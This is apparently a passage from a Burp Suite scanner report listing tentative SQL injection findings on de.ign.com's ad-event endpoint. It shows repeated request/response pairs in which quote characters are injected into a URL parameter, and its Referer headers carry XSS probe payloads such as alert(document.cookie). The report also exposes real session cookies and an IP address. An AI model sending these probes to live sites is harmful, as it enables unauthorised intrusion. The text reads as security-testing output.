Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:17:13 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=69584&AdID=182992&TargetID=9128&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,46,60,72,80,91,101,110,150,152,260,471,531,757,912,1187,1405,1481,1508,1591,1824,2336,3091,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61346,61578,61766,65369&RawValues=&Redirect=http:/www.direct2drive.com/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://de.ign.com/http:/www.direct2drive.com/
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:17:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:17:13 GMT
Connection: close

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=144177&FlightID=130644&TargetID=22858&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,15271,15363,16020,16249,16251,19623,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,22858,19760,24104&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59028,59328,60710,61583,61766,65373&RawValues=&random=cmKIryK,bguRrblewbsuK

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:54 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:43:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:43:55 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=144177&FlightID=130644&TargetID=22858&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,15271,15363,16020,16249,16251,19623,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,22858,19760,24104&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59028,59328,60710,61583,61766,65373&RawValues=&random=bxmcqAA,bguRqRgbdmoWA

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=144177&FlightID=130644&TargetID=22858&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,15271,15363,16020,16249,16251,19623,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,22858,19760,24104&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59028,59328,60710,61583,61766,65373&RawValues=&random=bxmcqAA,bguRqRgbdmoWA HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:13 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=144177&FlightID=130644&TargetID=22858&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,15271,15363,16020,16249,16251,19623,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,22858,19760,24104&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59028,59328,60710,61583,61766,65373&RawValues=&random=bxmcqAA,bguRqRgbdmoWA HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:13 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61255,61583,61766,65373&RawValues=&random=dbmriqk,bguRrfrbdmWan

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61255,61583,61766,65373&RawValues=&random=dbmriqk,bguRrfrbdmWan HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61255,61583,61766,65373&RawValues=&random=dbmriqk,bguRrfrbdmWan HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61255,61583,61766,65373&RawValues=&random=bRWKwsN,bguRragewbmIc

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61255,61583,61766,65373&RawValues=&random=bRWKwsN,bguRragewbmIc HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:31 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158918&FlightID=142379&TargetID=24864&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19926,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24864&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61255,61583,61766,65373&RawValues=&random=bRWKwsN,bguRragewbmIc HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:31 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61256,61583,61766,65373&RawValues=&random=bzpcKwp,bguRrfrbdmWap

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61256,61583,61766,65373&RawValues=&random=bzpcKwp,bguRrfrbdmWap HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; 